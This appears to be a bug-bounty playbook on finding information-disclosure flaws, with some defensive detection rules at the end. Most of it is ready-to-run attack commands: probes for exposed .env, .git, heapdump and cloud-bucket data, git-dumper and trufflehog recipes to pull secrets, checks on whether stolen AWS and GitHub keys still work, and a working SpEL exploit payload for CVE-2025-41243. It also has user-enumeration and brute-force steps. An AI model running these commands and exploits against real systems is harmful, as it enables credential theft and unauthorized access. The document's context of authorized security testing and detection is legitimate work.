agent-security-hardening
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
Information disclosure is the most-volume bug class in bug bounty (~30% of all disclosed reports across H1/Bugcrowd hacktivity), but the paying surface has shifted decisively toward systemic credential exposure rather than one-off PII leaks. Reflected stack traces on a 404 page are mid-three-figure or N/A on most programs; an exposed /actuator/heapdump containing AWS keys is mid-five-figure-class because it cascades to RCE on production cloud infrastructure. The 24-month meta crystallized around seven asset types. All CVEs below are NVD-verified.
1. Spring Boot Actuator exposure (mid four-figure to mid five-figure when chained to cloud takeover). Wiz Threat Research Dec 2024 analysis: 60% of cloud environments use Spring Boot Actuator, 11% expose instances publicly to the internet, 24% of exposed instances are misconfigured. Volkswagen 9TB GPS data disclosure — single open /actuator/heapdump endpoint provided plaintext AWS keys via heap dump, attackers downloaded 9 TB of GPS data from hundreds of thousands of cars. Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (SYSCREST analysis Feb 2025), https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz research summary Dec 2024). NVD-verified CVEs in the family:
management.endpoints.web.exposure.include=gateway, attackers modify Spring Environment properties remotely → potential RCE. Affects 4.3.x, 4.2.x, 4.1.x, 4.0.x, 3.1.x. Fix in 4.3.1 / 4.2.5 (OSS); 4.1.11 / 3.1.11 (Enterprise)./null/** matcher path.The Wiz dashboard checklist for actuator endpoints: /health (low), /prometheus /metrics (medium), /env (HIGH — never expose), /heapdump (CRITICAL — never expose), /beans /mappings /loggers (high — internal/auth only), /shutdown (HIGH — disabled by default, never enable).
2. .git/ and .env mass exposure (mid four-figure direct + supply-chain cascades). Two large 2024-2025 disclosures show this is industrialized:
/.git/config files. Stole 15,000 cloud credentials from 67,000 URLs (28K Git repos, 6K GitHub tokens, 2K validated active credentials). Stored stolen secrets in 1TB S3 bucket. Reference: https://sysdig.com/blog/emeraldwhale, https://www.bleepingcomputer.com/news/security/hackers-steal-15-000-cloud-credentials-from-exposed-git-config-files/.Pattern: web servers serving Laravel, Symfony, Rails, Django apps mistakenly serve the application root including .env and .git/. Hunt with: curl -s https://target/.env, curl -s https://target/.git/config, curl -s https://target/.git/HEAD. Then git-dumper https://target/.git/ /tmp/dumped to recover the full repo.
Disclosed bug bounty cases: NASA _x3ro_ Bugcrowd disclosure (Aug 2025, P3) — publicly accessible .env on NASA Bitbucket exposed UAT credentials for cmr.sit.earthdata.nasa.gov. Reference: https://redpacketsecurity.com/bugcrowd-bugbounty-disclosure-publicly-accessible-env-file-exposing-hardcoded-credentials-on-nasa-s-git-repository.
3. Source-code repository secret leakage (CWE-798, low five-figure on triage-friendly programs). GitGuardian 2026 State of Secrets Sprawl: 28.65M new hardcoded secrets added to public GitHub repos in 2025 (34% YoY increase). GitHub's own 2024 secret-scanning report: 39M secret leaks. IEEE S&P 2025 academic study: up to 30% of projects at risk. Starbucks H1 #716292 (2019, Cremit reference) — single leaked JumpCloud API key in public GitHub repo, classified CWE-798, CVSS 9.7 critical, paid bounty — proof that bug bounty programs CAN treat credential exposure as paying class. Reference: https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure (Apr 2026 Cremit research on this exact pattern).
Hunt with TruffleHog (https://github.com/trufflesecurity/trufflehog, 26K+ stars, 800+ detectors, active credential verification against provider APIs to confirm still-live keys). Same pattern via GitGuardian, Snyk Code SAST, GitHub Secret Scanning. Caveat from Cremit Apr 2026 analysis: most bug bounty programs still classify credential exposure as out-of-scope — check program scope before reporting; many specifically EXCLUDE this finding class.
4. Cloud-bucket misconfig (S3, GCS, Azure Blob — mid four-figure when PII counted; informational P5 when generic). ESHYFT March 2025 — 108GB / 86,341 healthcare-worker records (medical IDs, drivers licenses, SSNs, prescription records, disability claims) in unsecured S3 bucket; researcher Jeremiah Fowler discovered, took >1 month for org to close. Reference: https://www.theregister.com/2025/03/11/uber_for_nurses_exposes_86k/. NASA Bugcrowd disclosure Feb 2025 — PDF in public S3 bucket (P5 informational only — NASA's VDP triages cloud-bucket findings strictly). Reference: https://bugcrowd.com/disclosures/aa45924f-8b67-4f22-8dff-dac7dc9d60e2/exposure-of-pdf-file-in-a-public-amazon-s3-bucket-associated-with-nasa.
Hunt with s3scanner, AWSBucketDump, subdomain enumeration → <name>.s3.amazonaws.com, <name>.blob.core.windows.net, <name>.storage.googleapis.com. The Wiz Cloud Security Index annual report tracks the most-common misconfig classes.
5. Debug endpoint family (Spring actuator, Go pprof, Glances, FUXA, NetBird, Harbor — low four-figure to low five-figure depending on what's exposed). All NVD-verified or GHSA-verified, all 2025-2026:
/debug/pprof/cmdline (GHSA-95mq-xwj4-r47p) — unauthenticated debug endpoint exposes full process command line including admin token from --security "token=...". Critical./api/4/serverslist (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh) — Central Browser mode REST API returns raw server objects with reusable downstream credentials; permissive CORS allows any origin.AssumeRoleWithLDAPIdentity STS endpoint vulnerable to brute-forcing due to user enumeration + missing rate limit./ws and /info endpoints serve agent topology with no auth; any network client can connect, enumerate registered agents./server-status Apache mod_status endpoint — H1 report 2473173 (2026 High) — exposed at https://203.137.128.240/server-status leaks request URLs, IPs, vhosts.6. PII exposure via API misconfiguration (CVSS-Confidentiality-only, low four-figure to low five-figure depending on record count). Recent disclosed examples:
/talos/api/v1/files/upload Critical Information Disclosure (H1 report 3228011, 2025 critical).Hunt: every API endpoint that returns user data, every error/log endpoint, every export feature, every /me and /users/{id} route.
7. WordPress wp-config.php exposure (mid three-figure to mid four-figure; reliable VDP filler). Multiple H1 reports 2026: report 3328408 (National Guard website), report 3252302. Pattern: .bak, .old, ~, .swp backup files served alongside wp-config.php containing DB credentials. Hunt with: curl https://target/wp-config.php{,.bak,.old,~,.swp}. The BackupFinder ffuf wordlist covers the common variants.
Memory disclosure (Heartbleed-class, when found pays mid five-figure). Dgraph /debug/pprof/cmdline above. .NET Framework ObjRefs Disclosure (CVE-2024-29059) — H1 2026 high — .NET Remoting ObjRefs reveal internal endpoints. Modern memory-disclosure findings rare but high-impact when chained.
Mobile / game / IoT disclosure — ASLR leak in Mario Kart World through LAN mode (H1 2026 high). Mobile-app reverse-engineering finds API keys, internal URLs in compiled binaries. Game-engine memory disclosure via LAN/multiplayer protocols.
What pays the most: Spring actuator heapdump → cloud takeover (mid five-figure when chained — Volkswagen-class). Source-code repo with active AWS keys (low five-figure on programs that accept the class — Starbucks H1 #716292 precedent). Mass-PII via API misconfig (mid four-figure × record-count multiplier on healthcare/financial). .env exposure with active credentials (low four-figure direct + chain to AWS infrastructure for upgrade). .git/ exposure (low four-figure direct + recover full repo + extract secrets). Generic stack trace, version banners, README leak — N/A on most programs.
Greppable signals that this surface might exist:
# Spring Boot Actuator endpoints (CVE-2025-41243 family + Volkswagen pattern)
rg -n -e 'management\.endpoints\.web\.exposure\.include' \
-e 'spring-boot-starter-actuator' \
-g 'application*.{yml,yaml,properties}' -g '*.gradle' -g 'pom.xml'
# Spring actuator endpoints exposed in code
rg -n -e '@Endpoint' -e '@WebEndpoint' -e '@ReadOperation' --type java
# Hardcoded secrets / credentials in source
rg -n -e 'AKIA[0-9A-Z]{16}' \
-e 'AIza[0-9A-Za-z_-]{35}' \
-e 'sk_live_[0-9a-zA-Z]{24,}' \
-e 'ghp_[0-9a-zA-Z]{36}' \
-e 'github_pat_[0-9a-zA-Z]{82}' \
-e 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' \
-e 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' \
-g '!*.lock' -g '!node_modules' -g '!vendor'
# Database connection strings
rg -n -i -e 'jdbc:(?:mysql|postgresql|mariadb|oracle|mssql)://[^"\s]*:[^@\s]+@' \
-e 'mongodb(\+srv)?://[^"\s]*:[^@\s]+@' \
-e 'redis://[^"\s]*:[^@\s]+@' \
-e 'amqp://[^"\s]*:[^@\s]+@'
# .env file references in code (suggest .env exists in deploy)
rg -n -e 'process\.env\.\w+' -e 'os\.environ\[' -e 'env\(\'?\w+\'?\)' \
--type js --type ts --type py --type php
# Debug / pprof endpoints in Go code
rg -n -e 'net/http/pprof' -e '"/debug/pprof"' -e '_pprof' --type go
# Verbose error / debug mode in framework configs
rg -n -i -e 'debug\s*=\s*true' -e 'app_debug=true' \
-e 'DEBUG\s*:\s*True' -e 'DJANGO_DEBUG=True' \
-g '*.{yml,yaml,toml,ini,env,properties}'
# Stack-trace exposure in error handlers (Express/Flask)
rg -n -e 'app\.use\(function\(err' -e 'errorhandler\(' \
-e '@app\.errorhandler' -e 'send.*error\.stack' \
--type js --type ts --type py
HTTP-level signals on a live target:
Server: Tomcat, X-Application-Context:, Server: Jetty + /actuator/health returns 200 → Spring Boot Actuator surface (probe /actuator/heapdump, /actuator/env, /actuator/beans)Server: Apache + Apache mod_status enabled → /server-status info disclosure (H1 report 2473173, 2026 High)X-Powered-By: PHP/X.Y.Z + phpinfo() reachable at common paths → CVE-class info disclosureX-Powered-By: ASP.NET, .NET Remoting enabled → CVE-2024-29059 .NET Framework ObjRefs disclosure familyhttps://target/.env directlyhttps://target/.git/HEAD or https://target/.git/config → .git/ exposure (Sysdig EmeraldWhale class)Vary: Accept-Encoding + text/html response on https://target/wp-config.php{,.bak,.old,~} → WordPress wp-config exposure (H1 reports 3328408, 3252302, 2026 High)<bucket>.s3.amazonaws.com, <bucket>.blob.core.windows.net, <storage>.googleapis.com returns XML directory listing → S3 / Azure / GCS bucket misconfig (ESHYFT-class)/api/v1/info, /api/4/serverslist, /info, /version, /build-info returning verbose data → Glances-class (GHSA-r297-p3v4-wp8m)/debug/pprof/cmdline returns process command line including secrets → Dgraph-class (GHSA-95mq-xwj4-r47p)/swagger.json, /api-docs, /openapi.json, /.well-known/openapi exposed in production → API documentation exposureWWW-Authenticate: Basic realm="..." exposing internal app names → internal hostname disclosureSet-Cookie: <SESSION>=<value>; Domain=.target.com; Path=/ (no Secure, no HttpOnly) → session-cookie leakage surfaceEvery place sensitive content leaks for info-disclosure:
/users/{id} returning password_hash, internal_notes, role, tokens) — over-fetching pattern.map files, __webpack_require__ exposing module names) — secrets in client-sideX-Cache: HIT / Vary mismatches reveal authenticated content cached publicly)For each surface, send: curl -sI https://target/<path> (header inspection), curl -s https://target/<path> | head -100 (body inspection), curl -s -X POST -H "Content-Type: application/json" -d '{}' https://target/<endpoint> (error elicitation), and run nuclei -t exposures/ against the host for the canonical exposure templates.
Subdomain enumeration first. subfinder + amass + chaos + crt.sh → every subdomain. Each is a candidate for .git/, .env, /actuator/, /server-status. The exposed-config attack surface scales linearly with subdomain count; legacy / dev / staging subdomains are the highest-yield targets.
Run nuclei exposures/ template set on every subdomain. nuclei -t http/exposures/ covers .git/HEAD, .env, /server-status, /actuator/*, /swagger.json, /.well-known/, /phpinfo, hundreds more. Single command, ~30 seconds per host. The H1 2026 wp-config disclosures (reports 3328408, 3252302) and /server-status disclosure (2473173) are all canonical nuclei-template hits.
Spring Boot Actuator deep-probe. If host responds with Server: containing Tomcat/Jetty/Undertow OR X-Application-Context: header OR /actuator/health returns 200 — probe the full endpoint set with priority ordering: /actuator/heapdump (CRITICAL — full memory dump), /actuator/env (HIGH — env vars), /actuator/configprops, /actuator/beans, /actuator/threaddump, /actuator/mappings, /actuator/loggers, /actuator/gateway/routes (CVE-2025-41243). For /actuator/heapdump, download the binary, analyze with Eclipse Memory Analyzer (MAT) or strings | grep -E 'AKIA|AIza|sk_live|ghp_' for secret patterns.
.env and .git/ direct probe on every subdomain. curl -s https://target/.env and curl -s https://target/.git/HEAD. If 200 OK with content, run git-dumper https://target/.git/ /tmp/dumped to recover the entire repo. Then trufflehog filesystem /tmp/dumped --only-verified to extract live credentials.
wp-config.php and backup-file fuzzing. Use ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u https://target/FUZZ -mc 200. Append common backup extensions: wp-config.php{,.bak,.old,~,.swp,.swo,.copy,.backup}. The H1 2026 wp-config reports came from this exact technique against forgotten subdomains.
Source-code repo secret scanning. For OSS targets and any program with GitHub presence in scope: trufflehog github --org=<org> --only-verified (uses 800+ detectors with active credential validation). Cross-check with gitleaks on cloned repos. Reference TruffleHog: https://github.com/trufflesecurity/trufflehog. Caveat: most bug bounty programs classify credential exposure as out-of-scope; check program policy first (see Cremit Apr 2026 analysis at https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure).
Cloud bucket discovery. From subdomain list, derive bucket-name candidates: <subdomain>, <subdomain>-prod, <subdomain>-staging, <subdomain>-backup, <subdomain>-logs, <subdomain>-data. Test each against https://<name>.s3.amazonaws.com, https://<name>.blob.core.windows.net, https://storage.googleapis.com/<name>. Use s3scanner or AWSBucketDump for automation. ESHYFT-class findings come from this exact enumeration on healthcare/financial targets.
Debug endpoint family. For Go services: /debug/pprof/cmdline (Dgraph GHSA-95mq-xwj4-r47p — exposes admin token in process args). For Spring: actuator family above. For Glances/Prometheus/Grafana monitoring: /api/4/serverslist (GHSA-r297-p3v4-wp8m), /metrics, /prometheus, /dashboards/api/. For Kubernetes: /healthz/secret, /api/v1/secrets against kubelet anonymous-auth misconfigs.
API over-fetching audit. For every authenticated API endpoint, request the data and inspect response. Look for fields that shouldn't be there: password_hash, password_salt, tokens[], api_keys[], internal_notes, admin_comments, kyc_documents, mfa_secrets, recovery_codes. The over-fetch pattern is mid four-figure on most programs.
User / email enumeration. Compare login response (timing, body, status) for known-existing vs non-existing username. Same for password reset, registration ("email already in use" vs "verification sent"). MinIO GHSA-jv87-32hw-hh99 (LDAP brute-force via enumeration + missing rate limit) is the canonical 2026 case. Document the timing delta or response delta.
Stack trace / debug page elicitation. Send malformed requests to every endpoint: ', null, [], {"a":}, large bodies, missing required fields, content-type mismatches. Watch for 500 responses with full stack traces, file paths, framework versions, DB type. These are mid three-figure direct unless they reveal something materially sensitive (DB connection string, internal IP, framework + version → CVE replay candidate).
Mobile app reverse engineering. Pull APK with apktool d <apk> or IPA with ipsw. Run strings <binary> | grep -iE '(api[_-]?key|secret|token|password|bearer|aws_access_key)'. Inspect assets/, res/raw/, META-INF/ for plaintext config. Mobile-app secret leaks are mid four-figure on iOS/Android program scope.
Validate before reporting. Demonstrable impact: count the records (PII), validate the credential is live (aws sts get-caller-identity for AWS keys; curl https://api.github.com/user -H "Authorization: token <ghp>" for GitHub tokens), show the exfil path. Don't dump the whole bucket — three records is enough proof. See Gate 0.
.env and config-file direct probe# Direct .env probe
curl -s -o /dev/null -w "%{http_code}\n" https://target/.env
curl -s https://target/.env | head -50
# Common variants — try each
for path in .env .env.local .env.production .env.development \
.env.bak .env.old .env~ .env.example .env.sample \
env .environment app.env config.env; do
curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done
# Laravel-specific (Unit42 Aug 2024 attack pattern)
curl -s https://target/.env | grep -E '^(APP_KEY|DB_PASSWORD|MAIL_PASSWORD|AWS_ACCESS_KEY|AWS_SECRET|MAILGUN)'
# Symfony / NextJS variants
curl -s https://target/.env.local
curl -s https://target/.next/server/.env
# WordPress wp-config (H1 2026 reports 3328408, 3252302)
for ext in '' .bak .old '~' .swp .swo .copy .backup; do
curl -s -o /dev/null -w "%{http_code} %s\n" "wp-config.php$ext" "https://target/wp-config.php$ext"
done
.git/ directory exposure (Sysdig EmeraldWhale 2024 pattern)# Detect exposed .git
curl -s https://target/.git/HEAD
curl -s https://target/.git/config
curl -s https://target/.git/index | head -c 100 # binary index
# Recover full repo using git-dumper
pip install git-dumper
git-dumper https://target/.git/ /tmp/dumped-target
# Inspect for secrets in commit history
cd /tmp/dumped-target
git log --all --oneline
git log --all -p -S 'AKIA' -- '*' # find AWS keys ever committed
git log --all -p -S 'password' -- '*' # find password mentions
git log --all -p -S 'sk_live' -- '*' # find Stripe live keys
git log --all -p -S 'ghp_' -- '*' # find GitHub PATs
# TruffleHog pass for systematic secret extraction (live verification)
trufflehog filesystem /tmp/dumped-target --only-verified --json > /tmp/secrets.json
# Reference: https://sysdig.com/blog/emeraldwhale (Sysdig Threat Research Oct 2024)
# 15K cloud creds stolen from 67K URLs via this exact pattern
# Detect actuator presence
curl -s https://target/actuator | jq .
curl -s https://target/actuator/health
# Response with "_links" object → actuator exposed
# CRITICAL endpoints — heap dump (Volkswagen pattern)
curl -s -o heapdump.bin https://target/actuator/heapdump
strings heapdump.bin | grep -E 'AKIA[0-9A-Z]{16}' | head -20 # AWS keys
strings heapdump.bin | grep -E 'AIza[0-9A-Za-z_-]{35}' | head -20 # Google API
strings heapdump.bin | grep -E 'sk_live_[0-9a-zA-Z]{24,}' | head -20 # Stripe
strings heapdump.bin | grep -E 'jdbc:[a-z]+://[^@]+@' | head -20 # DB URIs
# Or load in Eclipse Memory Analyzer (MAT) for proper analysis
# HIGH endpoints
curl -s https://target/actuator/env | jq .
curl -s https://target/actuator/configprops | jq .
curl -s https://target/actuator/beans | jq '.contexts.application.beans | keys'
curl -s https://target/actuator/threaddump
curl -s https://target/actuator/mappings
curl -s https://target/actuator/loggers
# CVE-2025-41243 Spring Cloud Gateway property modification (CVSS 10.0)
# Trigger condition: management.endpoints.web.exposure.include=gateway
curl -s https://target/actuator/gateway/routes
# If 200 with route list — vulnerable
# Exploit: POST a new route with SpEL that reads/modifies env properties
curl -X POST https://target/actuator/gateway/routes/exploit \
-H 'Content-Type: application/json' \
-d '{"id":"exploit","predicates":[{"name":"Path","args":{"_genkey_0":"/exploit"}}],"filters":[{"name":"AddResponseHeader","args":{"name":"X-Out","value":"#{T(java.lang.System).getenv()}"}}],"uri":"http://localhost"}'
curl -X POST https://target/actuator/gateway/refresh
curl -i https://target/exploit # X-Out header now leaks env
# CVE-2025-41253 Spring Cloud Gateway info disclosure (CVSS 7.5)
# SpEL injection via actuator endpoint
# (Verbatim payload restricted in vendor advisory; see https://spring.io/security/cve-2025-41253)
# CVE-2025-22235 Spring Boot EndpointRequest.to wrong matcher (CVSS 7.3)
# Probe /null/** path when actuator endpoints disabled but EndpointRequest.to() used
curl -s https://target/null/
# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (Volkswagen analysis)
# Reference: https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz Dec 2024)
# AWS S3 — check public listing
aws s3 ls s3://<target-bucket-name> --no-sign-request
curl -s https://<bucket-name>.s3.amazonaws.com/
# XML response with <ListBucketResult> → public listing enabled
# Get specific file (when listing disabled but read enabled)
aws s3 cp s3://<bucket>/secret.txt /dev/stdout --no-sign-request
# Discovery via subdomain enumeration (ESHYFT-class, Mar 2025)
# For each subdomain, try as bucket name
for sub in $(cat subdomains.txt); do
for suffix in '' '-prod' '-staging' '-backup' '-logs' '-data' '-uploads'; do
curl -s -o /dev/null -w "%{http_code} %s\n" "$sub$suffix" \
"https://$sub$suffix.s3.amazonaws.com/"
done
done
# Google Cloud Storage
curl -s https://storage.googleapis.com/<bucket-name>/
gsutil ls gs://<bucket-name>
# Azure Blob
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
# AWSBucketDump for systematic enum
git clone https://github.com/jordanpotti/AWSBucketDump
python AWSBucketDump.py -l buckets.txt -g grep_patterns.txt -D
# Scan a GitHub org for verified secrets
trufflehog github --org=target-org --only-verified --json > secrets.json
# Scan single repo with full git history
trufflehog github --repo=https://github.com/target/repo --only-verified --json
# Scan a local clone (faster)
git clone --mirror https://github.com/target/repo /tmp/repo.git
trufflehog filesystem /tmp/repo.git --only-verified
# Scan S3 bucket contents
trufflehog s3 --bucket=<bucket-name>
# Scan Docker image
trufflehog docker --image=<image-name>
# Common manual regex patterns (what TruffleHog detects with API verification)
# AWS access key
grep -rE 'AKIA[0-9A-Z]{16}' .
# AWS secret (40 chars b64-ish)
grep -rE '[A-Za-z0-9/+=]{40}' . | grep -i -E 'aws_secret|secret_key|secretAccessKey'
# Google API key
grep -rE 'AIza[0-9A-Za-z_-]{35}' .
# Slack token
grep -rE 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' .
# Stripe live key
grep -rE 'sk_live_[0-9a-zA-Z]{24,}' .
# GitHub Personal Access Token
grep -rE 'ghp_[0-9a-zA-Z]{36}' .
grep -rE 'github_pat_[0-9a-zA-Z]{82}' .
# JWT token
grep -rE 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' .
# Private key
grep -rE '-----BEGIN (RSA|EC|OPENSSH|PRIVATE) (PRIVATE )?KEY-----' .
# Validate AWS key is live (don't pivot — just confirm)
AWS_ACCESS_KEY_ID=AKIA... AWS_SECRET_ACCESS_KEY=... \
aws sts get-caller-identity
# Validate GitHub PAT is live
curl -s https://api.github.com/user -H "Authorization: token ghp_..."
# Reference: https://github.com/trufflesecurity/trufflehog
# Reference: https://snyk.io/articles/state-of-secrets/ (28.65M secrets in 2025 per GitGuardian)
# Go pprof — Dgraph pattern (GHSA-95mq-xwj4-r47p, 2026 critical)
curl -s https://target/debug/pprof/
curl -s https://target/debug/pprof/cmdline # process command line — leaks --security="token=..."
curl -s https://target/debug/pprof/goroutine?debug=2 # goroutine stacks
curl -s https://target/debug/pprof/heap > heap.bin # heap dump
go tool pprof -text heap.bin # analyze
# Glances /api/4/* family (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh, GHSA-7p93-6934-f4q7, 2026 critical/high)
curl -s https://target:61208/api/4/serverslist # leaks downstream credentials
curl -s https://target:61208/api/4/all # full system info
curl -s https://target:61208/api/4/processlist # running processes
# CORS bypass: even from attacker origin, Access-Control-Allow-Origin: * lets attacker exfil
# FUXA plaintext DB credentials (GHSA-c5gq-4h56-4mmx, 2026 critical)
curl -s https://target/api/settings # vulnerable endpoint returns DB creds
# MinIO LDAP brute-force via enumeration (GHSA-jv87-32hw-hh99, 2026 critical)
# AssumeRoleWithLDAPIdentity returns different errors for valid vs invalid LDAP user
curl -X POST https://minio.target/?Action=AssumeRoleWithLDAPIdentity \
-d "LDAPUsername=alice&LDAPPassword=test&Version=2011-06-15"
# Different response code/message for "user exists, wrong password" vs "user doesn't exist"
# Apache mod_status / server-info (H1 2026 report 2473173)
curl -s https://target/server-status
curl -s https://target/server-info
# phpinfo
for path in phpinfo.php info.php php-info.php test.php phpinfo.html; do
curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done
# Spring Boot Admin
curl -s https://target/admin/login
curl -s https://target/wallboard
# /jenkins/script — Jenkins Groovy console
curl -s https://target/jenkins/script
# Login response delta (existing user vs non-existing)
curl -s -X POST https://target/api/login -d '{"email":"[email protected]","password":"wrong"}'
# Response: "Invalid password" (HTTP 401)
curl -s -X POST https://target/api/login -d '{"email":"[email protected]","password":"wrong"}'
# Response: "Invalid email or password" (HTTP 401)
# Different messages → enumeration
# Password reset response delta
curl -s -X POST https://target/api/password-reset -d '{"email":"[email protected]"}'
# "Verification email sent"
curl -s -X POST https://target/api/password-reset -d '{"email":"[email protected]"}'
# "User not found"
# Or both return same message — but timing differs (DB lookup vs not)
# Registration enumeration
curl -s -X POST https://target/api/signup -d '{"email":"[email protected]","password":"x"}'
# "Email already in use"
# MinIO LDAP variant (GHSA-jv87-32hw-hh99)
# Different error code for "user not in LDAP" vs "user exists, wrong password"
# Then brute-force the existing user's password without rate limiting
# SAML response: different error for "no user found" vs "wrong assertion"
curl -X POST https://target/saml/acs -d 'SAMLResponse=<base64>'
# OAuth: client_id enumeration via authorize endpoint
curl -s "https://target/oauth/authorize?client_id=valid&redirect_uri=..."
curl -s "https://target/oauth/authorize?client_id=invalid&redirect_uri=..."
# Time-based enumeration (when responses are identical)
for email in "[email protected]" "[email protected]"; do
time curl -s -o /dev/null -X POST https://target/api/login \
-d "{\"email\":\"$email\",\"password\":\"x\"}"
done
# Existing user takes longer (bcrypt hash comparison vs immediate fail)
# Send malformed JSON
curl -s -X POST https://target/api/users \
-H 'Content-Type: application/json' \
-d 'not json'
# Send wrong content-type
curl -s -X POST https://target/api/users \
-H 'Content-Type: application/xml' \
-d '<x/>'
# Send oversized body
python3 -c 'print("a"*10**6)' | curl -s -X POST https://target/api/users \
-H 'Content-Type: application/json' --data-binary @-
# Send invalid characters in URL params
curl -s "https://target/api/items?id=%00"
curl -s "https://target/api/items?id='"
curl -s "https://target/api/items?id=[]"
# Send invalid IDs — type confusion
curl -s "https://target/api/users/null"
curl -s "https://target/api/users/undefined"
curl -s "https://target/api/users/{}"
# Trigger internal-error path — query for known-broken state
curl -s "https://target/api/orders?status=FOOBAR_INVALID_ENUM"
# Look for: file paths (/var/www/, C:\inetpub\), framework versions (Spring/Django/Rails),
# DB hostnames (db.internal.target.com), DB type (PostgreSQL 14.x), full stack traces.
# Android APK
apktool d target.apk -o /tmp/apk-decoded
strings /tmp/apk-decoded/classes.dex | grep -iE '(api[_-]?key|secret|token|password|bearer)'
grep -rE 'AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z_-]{35}' /tmp/apk-decoded/
# JADX for decompilation (better strings extraction)
jadx -d /tmp/apk-jadx target.apk
grep -rE '(api[_-]?key|secret|token)' /tmp/apk-jadx/sources/
# Inspect res/raw/, assets/, META-INF/ for plaintext config
ls /tmp/apk-decoded/res/raw/
ls /tmp/apk-decoded/assets/
# iOS IPA
ipsw extract --ipa target.ipa
strings /path/to/binary | grep -iE '(api[_-]?key|secret|token|password)'
# MobSF for automated mobile app analysis (https://github.com/MobSF/Mobile-Security-Framework-MobSF)
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Reference: H1 2026 Session Cookie Leakage in WebViewerFragment (mobile WebView)
# Once you have a heap dump (Spring Boot /actuator/heapdump or Java jstack/jmap)
# Eclipse Memory Analyzer (MAT) — the standard tool
# Or strings extraction
strings heapdump.bin > heapdump.txt
# Pattern match for common secret formats
grep -E 'AKIA[0-9A-Z]{16}' heapdump.txt # AWS access key
grep -E 'AIza[0-9A-Za-z_-]{35}' heapdump.txt # Google API
grep -E 'sk_live_[0-9a-zA-Z]{24,}' heapdump.txt # Stripe live
grep -E 'ghp_[0-9a-zA-Z]{36}' heapdump.txt # GitHub PAT
grep -E 'jdbc:[a-z]+://' heapdump.txt # DB URI
grep -E 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' heapdump.txt # JWT
grep -E '-----BEGIN [A-Z ]+ KEY-----' heapdump.txt # PEM keys
# Volkswagen Spring Boot Actuator pattern (Wiz Threat Research, SYSCREST analysis):
# 1. Find /actuator/heapdump exposed
# 2. Download heapdump (often 100MB-2GB)
# 3. Extract AWS keys from strings
# 4. Validate keys: aws sts get-caller-identity
# 5. List S3 buckets: aws s3 ls
# 6. STOP — that's the report. Don't pivot to actually downloading customer data.
# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/
rules:
- id: info-spring-actuator-exposure
pattern-either:
- pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*\*'
- pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*[^=]*(?:env|heapdump|gateway|threaddump|beans)'
message: |
Spring Boot Actuator endpoint exposure includes high-risk endpoint
(env, heapdump, gateway, threaddump, beans). CVE-2025-41243 Spring
Cloud Gateway property modification (CVSS 10.0), CVE-2025-41253
info disclosure (CVSS 7.5). Restrict via management.endpoints.web.
exposure.include=health,info only; secure others via Spring Security.
severity: ERROR
languages: [yaml, java]
paths:
include: ['application*.{yml,yaml,properties}']
rules:
- id: info-debug-mode-enabled-prod
pattern-either:
- pattern-regex: 'DEBUG\s*=\s*True'
- pattern-regex: 'app\.config\[.DEBUG.\]\s*=\s*True'
- pattern-regex: 'debug:\s*true'
- pattern-regex: '"debug":\s*true'
message: |
Debug mode enabled. Stack traces, framework version, file paths
will be exposed in error responses. Set DEBUG=False in production.
Use environment-specific config (settings.production.py for Django,
RAILS_ENV=production for Rails, NODE_ENV=production for Express).
severity: WARNING
languages: [python, javascript, yaml]
rules:
- id: info-hardcoded-credentials
pattern-either:
- pattern-regex: '(?i)(password|passwd|pwd|secret|api[_-]?key|access[_-]?key|access[_-]?token)\s*[:=]\s*["\'][^"\']{8,}["\']'
- pattern-regex: 'AKIA[0-9A-Z]{16}'
- pattern-regex: 'AIza[0-9A-Za-z_-]{35}'
- pattern-regex: 'sk_live_[0-9a-zA-Z]{24,}'
- pattern-regex: 'ghp_[0-9a-zA-Z]{36}'
message: |
Hardcoded credential detected. CWE-798 Use of Hard-coded Credentials.
Move to environment variables, secret managers (AWS Secrets Manager,
HashiCorp Vault, GCP Secret Manager). Reference: GitGuardian 2026
State of Secrets Sprawl — 28.65M secrets in public repos in 2025.
Starbucks H1 #716292 paid bounty for single hardcoded JumpCloud key
(CVSS 9.7).
severity: ERROR
languages: [python, javascript, typescript, java, go, ruby, php]
rules:
- id: info-pprof-handler-exposed
pattern-either:
- pattern: 'import _ "net/http/pprof"'
- pattern: 'http.ListenAndServe(":6060", nil)'
- pattern-regex: 'pprof\.(?:Index|Cmdline|Profile|Symbol|Trace|Handler)'
message: |
Go net/http/pprof exposed. /debug/pprof/cmdline leaks process
command line including secrets passed via --flag="value".
Dgraph GHSA-95mq-xwj4-r47p (2026 critical) is canonical example.
Restrict to internal-only mux or remove import in production builds.
severity: ERROR
languages: [go]
rules:
- id: info-error-handler-leaks-stack
pattern-either:
- pattern: |
app.use(function(err, req, res, next) {
res.send(err.stack);
})
- pattern: |
@app.errorhandler($CODE)
def $H($E):
return str($E)
message: |
Error handler returns full stack trace / exception details to client.
Log internally, return generic error message externally. Stack-trace
disclosure leaks framework version, file paths, internal logic.
severity: ERROR
languages: [javascript, typescript, python]
rules:
- id: info-over-fetching-sensitive-fields
pattern-either:
- pattern: |
$MODEL.findAll()
